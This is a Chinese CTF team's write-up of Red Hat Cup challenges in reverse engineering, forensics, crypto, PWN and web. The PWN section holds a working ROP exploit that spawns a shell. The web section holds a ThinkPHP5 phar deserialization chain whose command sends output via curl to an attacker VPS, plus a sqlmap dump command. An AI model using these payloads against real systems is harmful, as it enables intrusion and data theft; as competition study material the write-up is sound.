前言
上个周末打了个红帽杯,题目还是一如既往地难,菜鸡还是一如既往地菜Orz,放下队内wp
PWN
three
静态编译文件,开了NX
有一个3字节的shellcode可以操作;在Tell me
的时候写入ropchain,再执行shellcode跳转到0x80f6cc0执行ropchain
exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64!/usr/bin/env python2
execve generated by ROPgadget
from struct import pack
Padding goes here
p = ''
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5004) # @ .data + 4
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d9) # pop ebx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080f5000) # padding without overwrite ebx
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x08049903) # int 0x80
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
io = remote("47.104.190.38","12001")
sd = lambda s:io.send(s)
sl = lambda s:io.sendline(s)
rc = lambda s:io.recv(s)
ru = lambda s:io.recvuntil(s)
sda = lambda a,s:io.sendafter(a,s)
sla = lambda a,s:io.sendlineafter(a,s)
ru("index:\n")
sl('0')
ru("much!\n")
sl("\x89\xcc\xc3")
ru("size:\n")
sl(str(0x200))
ru("me:\n")
gdb.attach(io,"b *0x8048C50")
sl(p)
io.interactive()
RE
easyRE
一开始被坑了,base64一直解密出来一个网站,发现找不到flag,后来想到第一个输入的hint是找flag头,于是一个个找,发现了真正的主逻辑:
先通过flag字符和table前四个数异或解出key,这里把table和key字符异或就可出了:1
2
3
4
5
6
7cc = ""
t = [0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45,0x5B]
key = 0x26594131
k = [0x26,0x59,0x41,0x31]
for j in range(len(t)):
cc += chr(t[j] ^ k[j % 4])
print cc
xx
这题一共3关,第一关xxtea,根据输入是完整格式flag{xxxxxxxxxxxx},而key是取了输入的前4字节,所以可以动态调试,可以提取出key就是flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,知道密文即可解密出来;第二关是置换这个简单,第三关是迭代异或,这里动态调试跟汇编得到计算过程:
接着有个cmp的比较,所以我们知道密文,可以逆向解迭代异或,再置换,再xxtea解密即可得到flag1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50coding=utf8
import struct
message = '\xbc\xa5\xce\x40\xf4\xb2\xb2\xe7\xa9\x12\x9d\x12\xae\x10\xc8\x5b\x3d\xd7\x06\x1d\xdc\x70\xf8\xdc'
key = "flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data = 0x9E3779B9
def _long2str(v, w):
n = (len(v) - 1) << 2
if w:
m = v[-1]
if (m < n - 3) or (m > n): return ''
n = m
s = struct.pack('<%iL' % len(v), *v)
return s[0:n] if w else s
def _str2long(s, w):
n = len(s)
m = (4 - (n & 3) & 3) + n
s = s.ljust(m, "\x00")
v = list(struct.unpack('<%iL' % (m >> 2), s))
if w: v.append(n)
return v
def decrypt(str, key):
if str == '': return str
v = _str2long(str, False)
k = _str2long(key.ljust(16, "\x00"), False)
n = len(v) - 1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum = (q * data) & 0xffffffff
while (sum != 0):
e = sum >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum = (sum - data) & 0xffffffff
return _long2str(v, True)
if __name__ == "__main__":
flag = decrypt(message,key)
print flag
childRE
直接分析主逻辑
这题有3关,第一关对输入进行了一个排序算法,这个好逆,第二关是把排完序的字符串进行了一个函数名扩展修饰,使得31位的输入变成了62位,再进行了一个简单的check(这里直接爆破即可)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15string = []
k = 0
for m in range(62):
for i in range(1000):
k = i % 23
p = i / 23
if table[p]==a[m]:
if table[k]==b[m]:
string.append(i)
break
u = ''
for i in string:
u += chr(i)
print u
"private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)"
难点在于那个C++的函数名修饰扩展,这个自学了一波,写了个还原成未修饰的字符的程序1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22include <iostream>
using namespace std;
class R0Pxx {
public:
R0Pxx(int val) {
unsigned char a = 0x41;
My_Aut0_PWN(&a);
}
private:
char* __thiscall My_Aut0_PWN(unsigned char* a) {
cout << "hello !";
printf("Decorated function name: %s\n", __FUNCDNAME__);
printf("Function signature: %s\n", __FUNCSIG__);
return 0;
};
};
int main() {
R0Pxx ropxx(1);
return 0;
}
得到了排序后的字符:”?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z”,排序算法直接用小技巧:kk = “0123456789abcdefghijklmnopqrstu”,gg = “fg7hi83jk9lma41nobpqc5rsdtue620”就可知道原来字符的位置,所以直接替换位置既可得到:
Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP
最后MD5加密下得到flag:
flag{63b148e750fed3a33419168ac58083f5}
calc
这题作者自己实现了一个大数运算,有3次输入,每次输入一个大整数,既可得到flag,然后通过调试和分析可以得到搞出关键性的check,前面的计算没有用到,白分析了
哎,直接看分析出来的关键性check1
((input1 + input2) * (input1 + input2) * (input1 + input2) - 3 * input1 * input2 * input2 - 3 * input2 * input1 * input1 == ((4 + input3) * (4 + input3) * (4 + input3) - (input3 * input3) * 12 - 48 * input3 - 22))
我们用x1,x2和x3表示3个输入,然后化简得到1
(x1+x2)^3-3*x1x2x3-3*x2*x1^2==(4+x3)^3-12*x3^2-48*x3-22
将3次幂拆分成2次幂,然后再化简约去同类项可得:x1^3 + x2^3 +(-x3)^3 = 42,这里一开始用z3跑,用symp都跑不出来,申请写了3个for循环爆破,但是都出不了,后面上网谷歌,找到一篇文章::https://zhuanlan.zhihu.com/p/81655767
所以直接得到3个数:1
2
3x1= 80435758145817515
x2=12602123297335631
x3= 80538738812075974
输入程序最后拿到flag:flag{951e27be2b2f10b7fa22a6dc8f4682bd}
WEB
ticket_system
首先有个xxe注入的地方,利用postXML去读源文件
把源文件和readflag文件读下来以后可以分析出,攻击过程是上传一个可执行的php,通过thinkphp5的pop链和phar去触发反序列化漏洞
readflag文件和*ctf那题一模一样,直接拿当初的脚本就行了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
$question = fread($pipes[1],1024);
$question = fread($pipes[1],1024);
$question = trim($question);
echo $question;
eval('$result = '.$question.';');
fwrite($pipes[0], $result);
fclose($pipes[0]);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
echo $flag;
fclose($pipes[1]);
$return_value = proc_close($process);
echo $return_value;
}
?>
上传过去以后拿微笑师傅的pop链打过去1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("curl http://vps_ip:2334/ -d `php /tmp/uploads/0cc175b9c0f1b6a831c399e269772661/20191111/6582f47189690b9acfc01cc069af8ea8.xml|tac|tr -d \"\\n\"|sed 's/ //g'`;");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
easyweb
找xyhcms源码挖洞1
sqlmap.py -u http//xxx/index.php?s=api/lt/gbooklist&orderby=* --technique=B --tamper between -D xyhcms -T fl4g -C flaag --dump
MISC
签到
填个问卷就行
Advertising for Marriage
首先是浏览文件,然后看到有张vegetable.png
把这张图片dump下来以后在linux里面是打不开的,提示CRC错误,通过CRC码爆破出高度是D3
在notepad里面看到一段hint
然后图片去模糊出来的不是对的flag,到这里似乎卡住了,放去stego看一下,每个RGB通道都有一段干扰的信息,猜测是lsb隐写
那秘钥是什么呢,估计是前面的hint那段,剩下的就是找前四个是什么字母了
再继续看进程看见有个画图进程
把它dump下来用gimp打开看到是
接下来就是lsb恢复加密的数据(这里吐槽一波出题人英语不好,friend打错了,结果弄了一个晚上才发现是错的….dbq或许他不缺女朋友
base64解密以后提示维吉尼亚,gnxtmwg7r1417psedbs62587h0,密钥:bcxneedmoneyandgirlfirend,解密就能得到flag:d7f1417bfafbf62587e0
恶臭的数据包
拿到数据包发现全是wifi加密的流量,马上想到1
aircrack-ng cacosmia.cap
发现数据包网路名称是mamawoxiangwantiequan,然后想到爆破八位的wifi密码提取原包,本来生成了个700多m的字典去爆,发现要10h就直接顺手先试试弱密码12345678,解出源包cacosmia-dec.cap
然后提取http协议传输的文件,binwalk最大那个发现一张图和一个加密压缩包,找到传压缩包的tcp流,发现cookie中JWT有hint,压缩包密码是ping的网址
过滤dns协议网址,一个个试,找到最后一个就是密码
解压出flag,flag{f14376d0-793e-4e20-9eab-af23f3fdc158}
CRYPTO
boardcast
出题人失误,源文件直接放了flag
剩下的密码学好难啊,只能等大佬们的wp复现了